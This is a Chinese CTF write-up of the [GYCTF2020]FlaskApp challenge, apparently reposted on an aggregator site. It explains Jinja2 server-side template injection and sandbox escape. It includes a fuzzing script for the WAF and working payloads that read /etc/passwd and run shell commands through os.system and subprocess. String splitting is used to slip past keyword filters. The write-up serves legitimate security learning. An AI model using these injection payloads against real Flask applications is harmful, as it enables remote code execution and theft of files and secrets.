当前位置: 首页 > news >正文

[GYCTF2020]FlaskApp

根据题目,这道题应该是flask。在加密的地方输入{{7*7}}正常回显其base64编码,然后将编码放到解密的地方出现回显nonono,说明过滤了什么。看来突破点在解密的地方。

输入 {{}} 的编码,出现报错,然后还能看到源码:

有waf过滤,利用脚本测试一下: 

import base64import requestsurl1 = 'http://2d0cf127-50a4-461e-98d7-41c83461a237.node5.buuoj.cn/decode'with open('fuzz.txt', "r") as file:headers = {"Cookie": "session=eyJjc3JmX3Rva2VuIjoiYTkxNGM4YWI3NmFkNmE1OTFhNjkxNzRkZWYzNDZkZDM5NDcyNmQyZCJ9.aI8Tag.edj4l963JVxa4BtqoCwKDETV9Bs"}for line in file:text = base64.b64encode(line.encode('utf-8'))data = {"csrf_token": "ImE5MTRjOGFiNzZhZDZhNTkxYTY5MTc0ZGVmMzQ2ZGQzOTQ3MjZkMmQi.aI8Tag.bgJlC6OvbEgS7UDSiMqhwe4kMv0","text": text,"submit": "%E6%8F%90%E4%BA%A4"}r = requests.post(url1, data=data, headers=headers)# print(r.text)if "no no no !!" in r.text and "jinja2.exceptions.TemplateSyntaxError" not in r.text:print(f"{line}")

import

eval

os

subprocess

commands

popen

popen2

popen3

popen4

system

request

*

AI给的字典,所以可能不全面。 

jinja2一共三种语法:
控制结构 {% %}
变量取值 {{ }}
注释 {# #}
jinja2的Python模板解释器在构建的时候考虑到了安全问题,删除了大部分敏感函数,相当于构建了一个沙箱环境。
但是一些内置函数和属性还是依然可以使用,而Flask的SSTI就是利用这些内置函数和属性相互组建来达到调用函数的目的,
从而绕过沙箱。

__class__         返回调用的参数类型
__bases__         返回基类列表
__mro__           此属性是在方法解析期间寻找基类时的参考类元组
__subclasses__()  返回子类的列表
__globals__       以字典的形式返回函数所在的全局命名空间所定义的全局变量与func_globals等价
__builtins__      内建模块的引用,在任何地方都是可见的(包括全局),每个 Python 脚本都会自动加载, 这个模块包括了很多强大的 built-in 函数,例如eval, exec, open等等

尝试使用

执行语句{{''.__class__.__mro__[1].__subclasses__()}}出现502 Bad Gateway,如果不是被过滤的话那就可能是返回的数据太多。尝试一下{{''.__class__.__mro__[1].__subclasses__()[40]}},返回<class 'wrapper_descriptor'>说明没有被过滤。

那我们需要减少一次性返回的数量,可以使用切片。

{{''.__class__.__mro__[1].__subclasses__()[0:200]}}

{{''.__class__.__mro__[1].__subclasses__()[200:400]}}

{{''.__class__.__mro__[1].__subclasses__()[400:]}}

可以通过循环获取名称进一步减少输出内容

{% for cls in ''.__class__.__mro__[1].__subclasses__()[0:500] %} {{ cls.__name__ }} {% endfor %}

{% for cls in ''.__class__.__mro__[1].__subclasses__()[500:] %} {{ cls.__name__ }} {% endfor %}

可以找到有WarningMessage。

特殊变量 __builtins__:全局命名空间中通常会包含 __builtins__ 键,其值指向内置命名空间(或内置模块 builtins),使得模块内可以直接访问内置内容(本质是通过 __builtins__ 间接引用)。

内置命名空间是 Python 解释器自带的 “基础库”,包含所有内置功能,全局有效,随解释器启动而存在。

全局命名空间是单个模块的 “局部仓库”,包含模块内定义的内容,仅在模块内有效,随模块导入而存在。

在模板注入场景中,沙箱通常会限制直接访问危险函数(如 open,system),我们可以通过__builtins__.open()来逃逸。但是大部分时候__builtins__也被限制,我们可以通过x.__init__.__globals__['__builtins__']来逃逸,原理:

1. x:精心选择的 “跳板类”

x 是从 object.__subclasses__() 中筛选出的某个类(通常是沙箱未严格过滤的类,如 WarningMessageException 等系统内置类)。这类类的特点是:

  • 在沙箱环境中默认加载(未被删除);
  • 其构造方法 __init__ 的全局命名空间未被沙箱清理,仍保留 __builtins__ 引用。

例如,Python 中的警告处理类 WarningMessage 或异常类 Exception,它们的实现中通常依赖内置函数,因此其全局命名空间会保留 __builtins__。直接使用未定义的变量名也是可以的。

2. x.__init__:类的构造方法

__init__ 是类的初始化方法(构造函数),属于函数对象。函数对象在定义时会记录其所在的全局命名空间(即定义该函数时的上下文变量环境),并通过 __globals__ 属性暴露。

3. __init__.__globals__:构造方法的全局命名空间

__globals__ 是函数对象的关键属性,返回一个字典,包含该函数定义时可访问的所有全局变量。对于大多数系统内置类(如 WarningMessage),其 __init__ 方法在定义时会引用 __builtins__ 中的函数(如 strlist 等),因此其 __globals__ 字典中必然包含 __builtins__ 键。

4. ['__builtins__']:从全局命名空间中提取内置函数

通过 __globals__['__builtins__'] 即可从跳板类的全局命名空间中获取 __builtins__,此时得到的 __builtins__ 是完整的内置命名空间,包含沙箱试图屏蔽的危险函数(如 open__import__)。

 {% for x in {}.__class__.__base__.__subclasses__() %} {% if "warning" in x.__name__ %} {{x.__init__.__globals__['__builtins__'].open('/etc/passwd').read() }} {%endif%} {%endfor%}

{{x.__init__.__globals__['__builtins__'].open('/etc/passwd').read() }}

可以成功读取。于是

{{ x.__init__.__globals__['__builtins__']['__imp''ort__']('o''s').__dict__['sys''tem']('ls /') }}

但是发现只会回显命令返回的Code 0,并不会回显输出,于是

{{ x.__init__.__globals__['__builtins__']['__imp''ort__']('subpro''cess').check_output('ls /', shell=True, text=True) }}

得到结果 : app bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys this_is_the_flag.txt tmp usr var

于是

{{ x.__init__.__globals__['__builtins__']['__imp''ort__']('subpro''cess').check_output('cat /this_is_the_flag.txt', shell=True, text=True) }}

发现被过滤了,应该是flag:

{{ x.__init__.__globals__['__builtins__']['__imp''ort__']('subpro''cess').check_output('cat /this_is_the_fl''ag.txt', shell=True, text=True) }}

拿到flag啦!

看了一下答案,这道题是想让我们通过ssti注入获得PIN码,然后获取交互Shell。不过并不用这么麻烦。

总结一下:通过这个题目我对沙箱逃逸有了粗略的理解,但是具体的解题思路并不明确,特别是感觉构造playload有很多方法,比如利用子类呀、全局变量呀、内置函数呀等等,还有如何绕过过滤,以及注入语法。有必要总结一下所有内容,形成知识体系。

http://www.xdnf.cn/news/1241479.html

相关文章:

  • Nginx vs Spring Cloud Gateway:限流功能深度对比与实践指南
  • 直角坐标系里的四象限对NLP中的深层语义分析的积极影响和启示
  • spring boot开发中的资源处理等问题
  • 怎样推动AI技术在人机协同中的发展?
  • RTSP/RTMP播放器超低延迟实战:无人机远控视觉链路的工程实践
  • vue3+vue-flow制作简单可拖拽可增删改流程图
  • Qt 自动无法加载数据库为空
  • Go语言select
  • 开源的现代数据探索和可视化平台:Apache Superset 使用 Docker Compose
  • 笔记本电脑联想T14重启后无法识别外置红米屏幕
  • 如何手动打包 Linux(麒麟系统)的 Qt 程序
  • JVM学习专题(四)对象创建过程
  • 【Spring Boot 】Spring Boot + OpenAI API 万能集成模板,实现快速集成AI
  • sqli-labs通关笔记-第30关GET字符注入(WAF绕过 双引号闭合 手工注入+脚本注入两种方法)
  • AI Agents漏洞百出,恶意提示等安全缺陷令人担忧
  • 高防服务器租用的作用都有哪些?
  • 随笔之 ClickHouse 列式分析数据库安装注意事项及基准测试
  • 【BUUCTF系列】[SUCTF 2019]EasySQL1
  • 【论文简读】LongSplat
  • Claude Code深度操作指南:从零到专家的AI编程助手实战
  • MAC-Spring Cloud + Spring Boot + RocketMQ集成
  • 链表问题解决分析框架
  • SP20D120CTU:1200 V/20 A SiC肖特基二极管的TO-263封装升级版,数据工程师必看!
  • 政府财政行业云原生转型之路
  • Maya 2024安装指南及安装包下载
  • 车载通信架构 ---车内通信的汽车网络安全
  • Linux中netstat详细使用指南
  • 【Linux】System V - 基于建造者模式的信号量
  • DP-v2.1-mem-clean学习(3.6.8.2-3.6.8.3)
  • Linux文件权限管理与ACL配置指南